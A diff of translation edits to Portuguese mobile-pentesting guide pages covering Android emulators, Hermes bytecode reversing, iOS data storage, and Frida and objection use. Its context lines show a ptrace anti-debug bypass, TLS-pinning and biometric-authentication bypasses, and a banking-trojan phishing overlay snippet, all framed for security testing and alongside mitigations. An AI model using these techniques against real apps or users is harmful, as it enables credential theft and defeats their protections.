Palavras-chave de triagem estática no Jadx:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
@ -121,7 +121,7 @@ Reversão interativa/nativa:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Exemplo: neutrar ptrace para derrotar um simples anti‑debug em libc:
|
||||
Exemplo: neutrar ptrace para derrotar o anti‑debug simples em libc:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -134,7 +134,7 @@ Veja também: {{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Etapa 7 — Patching do Objection (gadget embutido / noções básicas de strip)
|
||||
## Etapa 7 — Patching com Objection (gadget embutido / noções básicas de strip)
|
||||
|
||||
Quando você preferir repackaging a hooks de tempo de execução, tente:
|
||||
```bash
|
||||
@ -147,7 +147,7 @@ Notas:
|
||||
Referências:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## Passo 8 — Fallback: Corrigir o pinning TLS para visibilidade de rede
|
||||
## Passo 8 — Alternativa: Corrigir o pinning TLS para visibilidade de rede
|
||||
|
||||
Se a instrumentação estiver bloqueada, você ainda pode inspecionar o tráfego removendo o pinning estaticamente:
|
||||
```bash
|
||||
|
||||
@ -18,7 +18,7 @@ No mac você pode **baixar as ferramentas do SDK** e tê-las no PATH executando:
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
Ou a partir do **Android Studio GUI** conforme indicado em [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), que os instalará em `~/Library/Android/sdk/cmdline-tools/latest/bin/` e `~/Library/Android/sdk/platform-tools/` e `~/Library/Android/sdk/emulator/`
|
||||
Ou a partir do **Android Studio GUI** conforme indicado em [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) que irá instalá-los em `~/Library/Android/sdk/cmdline-tools/latest/bin/` e `~/Library/Android/sdk/platform-tools/` e `~/Library/Android/sdk/emulator/`
|
||||
|
||||
Para os problemas de Java:
|
||||
```java
|
||||
@ -43,7 +43,7 @@ Em seguida, clique em _**Create Virtual Device**_
|
||||
_**selecione** o telefone que você deseja usar_ e clique em _**Next.**_
|
||||
|
||||
> [!WARNING]
|
||||
> Se você precisar de um telefone com o Play Store instalado, selecione um com o ícone do Play Store!
|
||||
> Se você precisar de um telefone com o Play Store instalado, selecione um com o ícone do Play Store nele!
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
@ -51,7 +51,7 @@ Na visualização atual, você poderá **selecionar e baixar a imagem do Android
|
||||
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Então, selecione-a e, se não estiver baixada, clique no símbolo de _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
|
||||
Então, selecione-a e se não estiver baixada, clique no símbolo de _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
|
||||
Uma vez que a imagem esteja baixada, basta selecionar **`Next`** e **`Finish`**.
|
||||
|
||||
A máquina virtual será criada. Agora **toda vez que você acessar o AVD manager, ela estará presente**.
|
||||
@ -120,12 +120,12 @@ Type: Platform
|
||||
API level: 29
|
||||
Revision: 4
|
||||
```
|
||||
Neste momento, você decidiu o dispositivo que deseja usar e baixou a imagem do Android, então **você pode criar a máquina virtual usando**:
|
||||
Neste momento, você decidiu qual dispositivo deseja usar e baixou a imagem do Android, então **você pode criar a máquina virtual usando**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
No último comando **criei uma VM chamada** "_AVD9_" usando o **dispositivo** "_Nexus 5X_" e a **imagem do Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Agora você pode **listar as máquinas virtuais** que criou com:
|
||||
Agora você pode **listar as máquinas virtuais** que você criou com:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
||||
@ -171,7 +171,7 @@ No entanto, existem **muitas opções úteis de linha de comando** que você pod
|
||||
|
||||
**Rede**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Permitir indicar os servidores DNS separados por vírgula para a VM.
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Permitir indicar, separando por vírgula, os servidores DNS para a VM.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Permitir indicar um proxy HTTP a ser usado (muito útil para capturar o tráfego usando Burp)
|
||||
- Se as configurações do proxy não estiverem funcionando por algum motivo, tente configurá-las internamente ou usando um aplicativo como "Super Proxy" ou "ProxyDroid".
|
||||
- `-netdelay 200` : Definir a emulação de latência de rede em milissegundos.
|
||||
@ -186,7 +186,7 @@ No entanto, existem **muitas opções úteis de linha de comando** que você pod
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Definir o modo de tela sensível ao toque emulado.
|
||||
- **`-writable-system`** : Use esta opção para ter uma imagem de sistema gravável durante sua sessão de emulação. Você também precisará executar `adb root; adb remount`. Isso é muito útil para instalar um novo certificado no sistema.
|
||||
|
||||
## Rooting um dispositivo da Play Store
|
||||
## Rooting de um dispositivo da Play Store
|
||||
|
||||
Se você baixou um dispositivo com a Play Store, não conseguirá obter root diretamente, e receberá esta mensagem de erro
|
||||
```
|
||||
|
||||
@ -90,7 +90,7 @@ Você pode verificar se o pacote contém código de bytes Hermes executando o se
|
||||
file index.android.bundle
|
||||
index.android.bundle: Hermes JavaScript bytecode, version 96
|
||||
```
|
||||
No entanto, você pode usar as ferramentas **[hbctool](https://github.com/bongtrop/hbctool)**, forks atualizados do hbctool que suportam versões mais novas de bytecode, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (biblioteca/APIs Rust), ou **[hermes-dec](https://github.com/P1sec/hermes-dec)** para **desmontar o bytecode** e também para **decompilá-lo em algum código pseudo JS**. Por exemplo:
|
||||
No entanto, você pode usar as ferramentas **[hbctool](https://github.com/bongtrop/hbctool)**, forks atualizados do hbctool que suportam versões mais recentes de bytecode, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (biblioteca/APIs Rust), ou **[hermes-dec](https://github.com/P1sec/hermes-dec)** para **desmontar o bytecode** e também para **decompilar para algum código pseudo JS**. Por exemplo:
|
||||
```bash
|
||||
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
|
||||
hbctool disasm ./index.android.bundle ./hasm_out
|
||||
@ -104,14 +104,14 @@ hasmer disasm ./index.android.bundle -o hasm_out
|
||||
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
|
||||
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
|
||||
```
|
||||
Dica: O projeto open-source Hermes também fornece ferramentas de desenvolvedor como `hbcdump` em lançamentos específicos do Hermes. Se você compilar a versão correspondente do Hermes usada para produzir o pacote, `hbcdump` pode despejar funções, tabelas de strings e bytecode para uma análise mais profunda.
|
||||
Dica: O projeto open-source Hermes também fornece ferramentas de desenvolvedor como `hbcdump` em versões específicas do Hermes. Se você compilar a versão correspondente do Hermes usada para produzir o bundle, `hbcdump` pode despejar funções, tabelas de strings e bytecode para uma análise mais profunda.
|
||||
|
||||
### Mudar código e recompilar (Hermes)
|
||||
|
||||
Idealmente, você deve ser capaz de modificar o código desmontado (mudando uma comparação, ou um valor ou qualquer coisa que você precise modificar) e então **recompilar o bytecode** e recompilar o aplicativo.
|
||||
|
||||
- O **[hbctool](https://github.com/bongtrop/hbctool)** original suporta desmontar o pacote e reconstruí-lo após as alterações, mas historicamente suportou apenas versões mais antigas de bytecode. Forks mantidos pela comunidade estendem o suporte a versões mais novas do Hermes (incluindo meados dos anos 80–96) e muitas vezes são a opção mais prática para corrigir aplicativos RN modernos.
|
||||
- A ferramenta **[hermes-dec](https://github.com/P1sec/hermes-dec)** não suporta a recompilação do bytecode (apenas descompilador/desmontador), mas é muito útil para navegar na lógica e despejar strings.
|
||||
- O **[hbctool](https://github.com/bongtrop/hbctool)** original suporta desmontar o bundle e reconstruí-lo após as alterações, mas historicamente suportou apenas versões mais antigas de bytecode. Forks mantidos pela comunidade estendem o suporte a versões mais novas do Hermes (incluindo meados dos anos 80–96) e muitas vezes são a opção mais prática para corrigir aplicativos RN modernos.
|
||||
- A ferramenta **[hermes-dec](https://github.com/P1sec/hermes-dec)** não suporta a recompilação do bytecode (apenas decompilador/desmontador), mas é muito útil para navegar na lógica e despejar strings.
|
||||
- A ferramenta **[hasmer](https://github.com/lucasbaizer2/hasmer)** visa suportar tanto a desmontagem quanto a montagem para várias versões do Hermes; a montagem ainda está se desenvolvendo, mas vale a pena tentar em bytecode recente.
|
||||
|
||||
Um fluxo de trabalho mínimo com montadores semelhantes ao hbctool:
|
||||
@ -134,7 +134,7 @@ Note que o formato de bytecode do Hermes é versionado e o montador deve corresp
|
||||
|
||||
## Análise Dinâmica
|
||||
|
||||
Você pode tentar analisar dinamicamente o aplicativo usando Frida para habilitar o modo de desenvolvedor do aplicativo React e usar **`react-native-debugger`** para se conectar a ele. No entanto, para isso, você aparentemente precisa do código-fonte do aplicativo. Você pode encontrar mais informações sobre isso em [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/).
|
||||
Você pode tentar analisar dinamicamente o aplicativo usando o Frida para habilitar o modo de desenvolvedor do aplicativo React e usar **`react-native-debugger`** para se conectar a ele. No entanto, para isso, você aparentemente precisa do código-fonte do aplicativo. Você pode encontrar mais informações sobre isso em [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/).
|
||||
|
||||
### Habilitando o Suporte ao Desenvolvedor em release com Frida (advertências)
|
||||
|
||||
@ -190,6 +190,6 @@ grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/nu
|
||||
- [https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications)
|
||||
- [https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf)
|
||||
- CVE-2024-21668: react-native-mmkv registra a chave de criptografia dos logs no Android, corrigido na v2.11.0 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-21668
|
||||
- hbctool (e forks) para montar/desmontar Hermes: https://github.com/bongtrop/hbctool
|
||||
- hbctool (e forks) para montagem/desmontagem do Hermes: https://github.com/bongtrop/hbctool
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -68,7 +68,7 @@ Além do Tapjacking clássico, famílias modernas de malware bancário Android (
|
||||
|
||||
### Como funciona
|
||||
1. O APK malicioso solicita a permissão altamente sensível `BIND_ACCESSIBILITY_SERVICE`, geralmente ocultando a solicitação atrás de um diálogo falso do Google/Chrome/visualizador de PDF.
|
||||
2. Uma vez que o usuário habilita o serviço, o malware simula programaticamente os toques necessários para conceder permissões adicionais perigosas (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
2. Assim que o usuário habilita o serviço, o malware simula programaticamente os toques necessários para conceder permissões adicionais perigosas (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Um **WebView** é inflado e adicionado ao gerenciador de janelas usando o tipo de janela **`TYPE_ACCESSIBILITY_OVERLAY`**. A sobreposição pode ser renderizada totalmente opaca ou semi-transparente e pode ser marcada como *“através”* para que os toques originais ainda sejam entregues à atividade em segundo plano (assim, a transação realmente acontece enquanto a vítima vê apenas o formulário de phishing).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
@ -87,14 +87,14 @@ wm.addView(phishingView, lp);
|
||||
```
|
||||
### Fluxo de trabalho típico usado por Trojans bancários
|
||||
* Consultar pacotes instalados (`QUERY_ALL_PACKAGES`) para descobrir qual aplicativo bancário / de carteira está atualmente aberto.
|
||||
* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente aquele aplicativo específico (Logo, cores, strings de i18n…).
|
||||
* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente esse aplicativo específico (Logo, cores, strings i18n…).
|
||||
* Exibir a sobreposição, coletar credenciais/PIN/padrão.
|
||||
* Usar a **API de Acessibilidade** (`performGlobalAction`, `GestureDescription`) para automatizar transferências em segundo plano.
|
||||
|
||||
### Detecção e Mitigação
|
||||
* Auditar a lista de aplicativos instalados com `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Do lado do aplicativo (banco / carteira):
|
||||
- Ativar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
|
||||
- Habilitar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
|
||||
- Combinar com `setFilterTouchesWhenObscured(true)` e `FLAG_SECURE`.
|
||||
* Dureza do sistema:
|
||||
- Desativar *Instalar de Fontes Desconhecidas* e *Acessibilidade para aplicativos não confiáveis*.
|
||||
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Confira a análise dinâmica que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele estará conectando várias classes ao fazer outras coisas e preparará um relatório assim que você terminar.
|
||||
Confira a análise dinâmica que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas estará conectando várias classes ao fazer outras coisas e preparará um relatório assim que você terminar.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -156,7 +156,6 @@ PID Name Identifier
|
||||
|
||||
Aprenda como **enumerar os componentes da aplicação** e como **hookear métodos e classes** com objection:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-hooking-with-objection.md
|
||||
{{#endref}}
|
||||
@ -203,7 +202,7 @@ No ambiente iOS, diretórios são designados especificamente para **aplicações
|
||||
> [!WARNING]
|
||||
> Como as aplicações no iOS devem ser isoladas, cada aplicativo também terá uma pasta dentro de **`$HOME/Library/Containers`** com o **`CFBundleIdentifier`** do aplicativo como o nome da pasta.
|
||||
>
|
||||
> No entanto, ambas as pastas (pasta de dados e pasta de contêiner) possuem o arquivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos os arquivos na chave `MCMetadataIdentifier`).
|
||||
> No entanto, ambas as pastas (dados e pastas de contêiner) possuem o arquivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos os arquivos na chave `MCMetadataIdentifier`).
|
||||
|
||||
Para facilitar a descoberta do diretório de instalação de um aplicativo instalado pelo usuário, a **ferramenta objection** fornece um comando útil, `env`. Este comando revela informações detalhadas do diretório para o aplicativo em questão. Abaixo está um exemplo de como usar este comando:
|
||||
```bash
|
||||
@ -228,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Diretório do pacote:**
|
||||
|
||||
- **AppName.app**
|
||||
- Este é o Pacote da Aplicação como visto anteriormente no IPA, contém dados essenciais da aplicação, conteúdo estático, bem como o binário compilado da aplicação.
|
||||
- Este é o Pacote da Aplicação, como visto anteriormente no IPA, contém dados essenciais da aplicação, conteúdo estático, bem como o binário compilado da aplicação.
|
||||
- Este diretório é visível para os usuários, mas **os usuários não podem escrever nele**.
|
||||
- O conteúdo deste diretório **não é salvo**.
|
||||
- O conteúdo desta pasta é usado para **validar a assinatura do código**.
|
||||
@ -249,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- O conteúdo deste diretório **não é salvo**.
|
||||
- O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
|
||||
- **Library/Application Support/**
|
||||
- Contém **arquivos** **persistentes** necessários para a execução do app.
|
||||
- Contém **arquivos persistentes** necessários para a execução do app.
|
||||
- **Invisível** **para** **os usuários** e os usuários não podem escrever nele.
|
||||
- O conteúdo deste diretório **é salvo**.
|
||||
- O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
|
||||
@ -367,8 +366,8 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **depois de verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
|
||||
> O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que já fizeram login anteriormente.
|
||||
> Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
|
||||
> O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que se conectaram anteriormente.
|
||||
|
||||
### Plist
|
||||
|
||||
@ -386,7 +385,7 @@ Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/priva
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
|
||||
Para converter arquivos de **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
|
||||
|
||||
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
|
||||
```bash
|
||||
@ -439,7 +438,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo
|
||||
|
||||
### Outros Bancos de Dados SQLite
|
||||
|
||||
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório do aplicativo. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório do aplicativo. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -449,7 +448,6 @@ Os desenvolvedores podem **armazenar e sincronizar dados** dentro de um **banco
|
||||
|
||||
Você pode encontrar como verificar bancos de dados Firebase mal configurados aqui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
{{#endref}}
|
||||
@ -491,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o mencionado **arquivo de cookie pode ser acessado em backups**.
|
||||
|
||||
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
|
||||
Para inspecionar o arquivo de cookies, você pode usar [**este script em python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
|
||||
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
@ -532,7 +530,7 @@ Este método removerá todas as requisições e respostas em cache do arquivo Ca
|
||||
|
||||
Sempre que você pressiona o botão home, o iOS **tira uma captura de tela da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através** **de** **reinicializações**). Essas são as capturas que você também pode acessar tocando duas vezes na tela inicial para alternar entre aplicativos.
|
||||
|
||||
A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, a última captura é armazenada no sandbox do aplicativo na pasta `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).
|
||||
A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, a última captura é armazenada na sandbox do aplicativo na pasta `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).
|
||||
|
||||
Uma maneira de prevenir esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar a captura usando a função `ApplicationDidEnterBackground()`.
|
||||
|
||||
@ -630,7 +628,7 @@ são úteis. Além disso, **Xcode** oferece uma maneira de coletar logs do conso
|
||||
3. Navegue até **Window** -> **Devices and Simulators**.
|
||||
4. Selecione seu dispositivo.
|
||||
5. Acione o problema que você está investigando.
|
||||
6. Use o botão **Open Console** para visualizar os logs em uma nova janela.
|
||||
6. Use o botão **Open Console** para ver os logs em uma nova janela.
|
||||
|
||||
Para um registro mais avançado, conectar-se ao shell do dispositivo e usar **socat** pode fornecer monitoramento de logs em tempo real:
|
||||
```bash
|
||||
@ -652,7 +650,7 @@ Arquivos em `Documents/` e `Library/Application Support/` são incluídos nos ba
|
||||
|
||||
### Testando Vulnerabilidades
|
||||
|
||||
Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados ou configurações sensíveis que possam ser alterados para afetar o comportamento do aplicativo.
|
||||
Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.
|
||||
|
||||
Informações sensíveis podem ser buscadas usando ferramentas de linha de comando ou aplicativos como [iMazing](https://imazing.com). Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup.
|
||||
```xml
|
||||
@ -667,7 +665,7 @@ Informações sensíveis podem ser buscadas usando ferramentas de linha de coman
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Para lidar com backups criptografados, scripts em Python disponíveis no [repositório GitHub do DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, podem ser úteis, embora potencialmente exijam ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) é outra opção para acessar arquivos dentro de backups protegidos por senha.
|
||||
Para lidar com backups criptografados, scripts em Python disponíveis no [repositório GitHub do DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, podem ser úteis, embora possam exigir ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) é outra opção para acessar arquivos dentro de backups protegidos por senha.
|
||||
|
||||
### Modificando o Comportamento do App
|
||||
|
||||
@ -679,7 +677,7 @@ Ao lidar com informações sensíveis armazenadas na memória de um aplicativo,
|
||||
|
||||
## **Recuperando e Analisando um Dump de Memória**
|
||||
|
||||
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
|
||||
Para dispositivos com e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
|
||||
|
||||
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
|
||||
```bash
|
||||
@ -706,7 +704,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Processos de Gerenciamento de Chaves Ruins
|
||||
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam as informações confidenciais.
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma reversão pode permitir que atacantes extraiam as informações confidenciais.
|
||||
|
||||
### Uso de Algoritmos Inseguros e/ou Obsoletos
|
||||
|
||||
@ -714,7 +712,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
|
||||
|
||||
### Verificação
|
||||
|
||||
As principais verificações a serem realizadas são para descobrir se você pode encontrar **senhas**/segredos **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||||
As principais verificações a serem realizadas são encontrar se você pode encontrar senhas/secrets **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||||
|
||||
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
|
||||
```swift
|
||||
@ -893,7 +891,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido.
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Através do **Objection Biometrics Bypass**, localizado na [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve o uso do **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
|
||||
Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve aproveitar **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
|
||||
|
||||
Para ativar esse bypass, o seguinte comando é empregado:
|
||||
```bash
|
||||
@ -1027,7 +1025,7 @@ Para verificar esse problema usando Burp, após confiar na CA do Burp no iPhone,
|
||||
Se um aplicativo estiver usando corretamente a Pinagem SSL, então o aplicativo só funcionará se o certificado for o que se espera. Ao testar um aplicativo, **isso pode ser um problema, pois o Burp servirá seu próprio certificado.**\
|
||||
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Você também pode usar **objection's** `ios sslpinning disable`
|
||||
Você também pode usar o `ios sslpinning disable` do **objection**
|
||||
|
||||
## Diversos
|
||||
|
||||
@ -1044,7 +1042,7 @@ Você também pode usar **objection's** `ios sslpinning disable`
|
||||
|
||||
Os desenvolvedores podem **corrigir todas as instalações de seu aplicativo instantaneamente** sem precisar reenviar o aplicativo para a App Store e esperar até que seja aprovado.\
|
||||
Para esse propósito, geralmente é usado [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mas há outras opções também, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Este é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método está sendo usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
|
||||
**Esse é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método é usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
|
||||
|
||||
### Terceiros
|
||||
|
||||
|
||||
@ -13,14 +13,14 @@
|
||||
4. Vá para a nova fonte do Frida adicionada.
|
||||
5. Instale o pacote Frida.
|
||||
|
||||
